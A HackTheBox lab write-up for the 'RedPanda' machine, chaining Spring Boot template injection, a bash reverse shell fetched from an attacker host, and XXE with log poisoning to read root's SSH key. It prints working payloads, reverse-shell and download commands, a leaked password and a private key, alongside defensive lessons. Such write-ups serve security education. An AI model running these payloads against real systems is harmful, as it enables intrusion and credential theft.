HTB: RedPanda Writeup
RedPanda - HackTheBox Writeup
Machine Information
| Attribute | Details |
|---|---|
| Name | RedPanda |
| OS | Linux |
| Difficulty | Easy |
| Points | N/A |
| Release Date | 11th July 2022 |
| IP Address | N/A |
| Author | d3vn0mi |
Machine Rating
⭐⭐☆☆☆ (2/5)
Difficulty Assessment:
- Enumeration: ⭐⭐☆☆☆
- Real-world: ⭐⭐⭐⭐⭐
- CVE: ⭐⭐⭐☆☆
- CTF-like: ⭐⭐⭐☆☆
Summary
RedPanda is an easy Linux machine featuring a Red Panda search engine built with Java Spring Boot. The search functionality is vulnerable to Server-Side Template Injection (SSTI), allowing remote code execution as user woodenk. Further enumeration reveals a cron job running a Java program as root that processes log files and parses XML credentials. This program is vulnerable to XXE (XML External Entity Injection) combined with log file poisoning, enabling extraction of the root SSH private key and privilege escalation to root.
TL;DR: SSTI in Spring Boot search engine → RCE as woodenk → Enumerate cron jobs → XXE in XML parser + log poisoning → Extract root SSH key → SSH as root
Reconnaissance
Port Scanning
nmap -p- --min-rate=1000 -T4 10.10.11.170Results:
22/tcp open ssh8080/tcp open http-proxyRunning a detailed service scan:
nmap -p22,8080 -sV 10.10.11.170Key Findings:
- SSH (port 22): OpenSSH service
- HTTP (port 8080): Web server hosting Red Panda Search application
Service Enumeration
Browsing to http://10.10.11.170:8080/ reveals a Red Panda search engine. Examining the page source reveals:
<title>Red Panda Search | Made with Spring Boot</title>This indicates the application is built using the Spring Boot Java framework. Testing a basic search with the character “s” returns results and displays “You searched for: s” in the response—a potential injection vector.
Clicking on an author name (e.g., “woodenk”) leads to a statistics page with an option to export data as XML. The export reveals an XML structure containing image metadata and view counts.
Vulnerability Assessment
Identified Vulnerabilities:
- Server-Side Template Injection (SSTI) in the search functionality
- XXE (XML External Entity Injection) in the credentials XML parser (running as cron job)
- Path Traversal via metadata manipulation
- Log File Injection in the cron job logging mechanism
Initial Foothold
Exploitation Path
Step 1: Test for SSTI
The search endpoint appears vulnerable to template injection. Testing common Spring Boot SSTI payloads:
${8*8} → Error occurred: banned characters#{8*8} → Error occurred: banned characters*{8*8} → Returns: 64 ✓The third payload executes and returns the result of 8*8, confirming SSTI vulnerability.
Step 2: Execute Commands via SSTI
Craft a payload to execute the id command using Spring EL expression language:
*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('id').getInputStream())}This successfully executes and returns command output, confirming RCE.
Step 3: Generate Reverse Shell
Create a bash reverse shell script on the attacker machine:
cat > shell.sh << 'EOF'bash -i >& /dev/tcp/YOUR_LOCAL_IP/1337 0>&1EOFServe it via HTTP:
python3 -m http.server 8000Step 4: Download Shell via SSTI Payload
Use SSTI to download the reverse shell:
*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('curl YOUR_LOCAL_IP:8000/shell.sh -o /tmp/shell.sh').getInputStream())}Step 5: Make Shell Executable
*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('chmod +x /tmp/shell.sh').getInputStream())}Step 6: Execute Reverse Shell
Set up netcat listener on attacker machine:
nc -nvlp 1337Execute the shell via SSTI payload:
*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('/bin/bash /tmp/shell.sh').getInputStream())}Result: Obtain reverse shell as user woodenk.
Step 7: Locate Credentials
Enumerate the filesystem and discover source code at /opt/panda_search/src/main/java/com/panda_search/htb/panda_search/MainController.java:
Class.forName("com.mysql.cj.jdbc.Driver");conn = DriverManager.getConnection("jdbc:mysql://localhost:3306/red_panda", "woodenk", "RedPandazRule");Step 8: SSH as woodenk
ssh woodenk@10.10.11.170# Password: RedPandazRuleStep 9: Capture User Flag
cat /home/woodenk/user.txtPrivilege Escalation
Step 1: Identify Running Processes
Download and execute pspy to monitor running processes:
# On attacker machinepython3 -m http.server 8000
# On target machinewget YOUR_LOCAL_IP:8000/pspy64chmod +x pspy64./pspy64Discovery: A Java JAR program runs as root every 2 minutes via cron job:
/opt/credit-score/LogParser/final/target/final-1.0-SNAPSHOT.jarStep 2: Analyze Cron Job Source Code
Examine /opt/credit-score/LogParser/final/src/main/java/com/logparser/App.java:
public static void main(String[] args) throws JDOMException, IOException, JpegProcessingException { File log_fd = new File("/home/woodenk/panda_search/redpanda.log"); Scanner log_reader = new Scanner(log_fd); while(log_reader.hasNextLine()) { String line = log_reader.nextLine(); if(!isImage(line)) continue;
Map parsed_data = parseLog(line); String artist = getArtist(parsed_data.get("uri").toString()); String xmlPath = "/credits/" + artist + "_creds.xml"; addViewTo(xmlPath, parsed_data.get("uri").toString()); }}Key Analysis:
- The program reads
/home/woodenk/panda_search/redpanda.log - Lines are split by
||delimiter - The
artistfield is extracted from image metadata - Vulnerability:
xmlPathis constructed using unsanitizedartistvalue - Vulnerability: The
addViewTo()function parses XML without XXE protection
Step 3: Identify XXE Vector
The addViewTo() function parses XML files. Create a malicious XXE payload to read /root/.ssh/id_rsa:
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE author [<!ENTITY xxe SYSTEM 'file:///root/.ssh/id_rsa'>]><credits> <author>&xxe;</author> <image> <uri>/img/greg.jpg</uri> <views>0</views> </image> <image> <uri>/img/hungy.jpg</uri> <views>0</views> </image> <image> <uri>/img/smooch.jpg</uri> <views>6</views> </image> <image> <uri>/img/smiley.jpg</uri> <views>3</views> </image> <totalviews>9</totalviews></credits>Step 4: Exploit Log File Injection
The program parses logs with format: status_code||ip||user_agent||uri
To inject a custom URI, manipulate the User-Agent header with embedded || delimiters:
# Test log injection on targetcurl -A "evil||/../../../../../../../../../../tmp/smooch.jpg" http://localhost:8080/This creates a log entry that, when parsed, places the injected path in the URI field.
Step 5: Modify Image Metadata
Download an image and modify its Artist field:
# On target machinewget 10.10.11.170:8080/img/smooch.jpgUsing exiftool to modify the Artist metadata:
exiftool -Artist='../tmp/hax' smooch.jpgThis changes the Artist field to ../tmp/hax, so the xmlPath becomes /credits/../tmp/hax_creds.xml → /tmp/hax_creds.xml
Step 6: Place Malicious XML and Modified Image
On attacker machine, serve the malicious XML:
python3 -m http.server 8000# serves hax_creds.xml and smooch.jpgOn target machine, download both:
cd /tmpwget YOUR_LOCAL_IP:8000/hax_creds.xmlwget YOUR_LOCAL_IP:8000/smooch.jpgchmod 777 hax_creds.xmlStep 7: Trigger XXE via Cron Job
Send a crafted request to create a log entry pointing to the modified image:
curl -A "evil||/../../../../../../../../../../tmp/smooch.jpg" http://localhost:8080/Wait 2 minutes for the cron job to execute. It will:
- Read the log entry
- Parse the injected URI
- Extract artist metadata from
/tmp/smooch.jpg→../tmp/hax - Load XML from
/tmp/hax_creds.xml - Parse XXE payload and write root’s private key to the XML
Step 8: Extract Root SSH Key
cat /tmp/hax_creds.xmlThe output contains the root private key in the <author> tag:
-----BEGIN OPENSSH PRIVATE KEY-----b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW...-----END OPENSSH PRIVATE KEY-----Step 9: SSH as Root
Copy the private key to attacker machine:
cat > id_rsa << 'EOF'-----BEGIN OPENSSH PRIVATE KEY-----b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZWQyNTUxOQAAACDeUNPNcNZoi+AcjZMtNbccSUcDUZ0OtGk+eas+bFezfQAAAJBRbb26UW29ugAAAAtzc2gtZWQyNTUxOQAAACDeUNPNcNZoi+AcjZMtNbccSUcDUZ0OtGk+eas+bFezfQAAAECj9KoL1KnAlvQDz93ztNrROky2arZpP8t8UgdfLI0HvN5Q081w1miL4ByNky01txxJRwNRnQ60aT55qz5sV7N9AAAADXJvb3RAcmVkcGFuZGE=-----END OPENSSH PRIVATE KEY-----EOFchmod 600 id_rsaConnect via SSH:
ssh -i id_rsa root@10.10.11.170cat /root/root.txtAttack Chain Summary
SSTI in Spring Boot Search ↓RCE as woodenk via Template Injection ↓Reverse Shell via Curl Download ↓SSH as woodenk (credentials from source code) ↓Enumerate Cron Jobs (pspy) ↓Analyze Java Log Parser Source Code ↓Identify XXE Vulnerability in XML Parser ↓Identify Path Traversal via Metadata Injection ↓Exploit Log File Injection ↓Craft Malicious XML with XXE Payload ↓Modify Image Metadata with exiftool ↓Trigger Cron Job to Parse XXE ↓Extract Root SSH Private Key ↓SSH as root → Obtain root.txtTools Used
| Tool | Purpose |
|---|---|
nmap | Port and service discovery |
curl | HTTP requests and payload delivery |
nc (netcat) | Reverse shell listener |
python3 -m http.server | Hosting payloads and files |
wget | Downloading files from remote server |
exiftool | Reading and modifying image metadata |
pspy | Monitoring background processes and cron jobs |
ssh | Secure shell access |
Key Learnings
Techniques Practiced
- Server-Side Template Injection (SSTI) in Java Spring Boot applications
- Exploiting Spring Expression Language (EL) for RCE
- XML External Entity (XXE) Injection vulnerabilities
- Log file poisoning and injection attacks
- Image metadata manipulation with exiftool
- Cron job enumeration and analysis
- Multi-stage exploitation chains combining multiple vulnerabilities
- Using pspy for process monitoring and cron job discovery
Lessons Learned
-
Template Injection is Critical in Web Applications: Always sanitize and validate user input before passing it to template engines. Spring Boot applications should use restricted contexts when rendering user-controlled data.
-
XML Parsing Requires XXE Protection: Disable external entity resolution in XML parsers. Use
XMLConstants.ACCESS_EXTERNAL_DTDandACCESS_EXTERNAL_SCHEMAproperties to restrict external resource access. -
Path Construction Vulnerabilities: Never concatenate user-controlled or derived data (like metadata) directly into file paths without validation. Use canonical path resolution and whitelist allowed characters.
-
Cron Jobs Are Powerful Attack Vectors: Processes running as privileged users via cron jobs are high-value targets. Regular code review of automated tasks is essential.
-
Defense in Depth: This machine demonstrates how multiple vulnerabilities can be chained together. Initial SSTI access led to privilege escalation through XXE. Each layer could have been defended independently.
-
Metadata Matters: User-supplied files (images, documents) can contain exploitable data in metadata fields. Sanitize metadata or strip it entirely if unnecessary.
-
Log Files as Attack Vectors: Ensure that log files cannot be poisoned to alter program behavior. Validate log entries before using them in path construction or code execution.
Proof of Ownership
User Flag: <redacted>Root Flag: <redacted>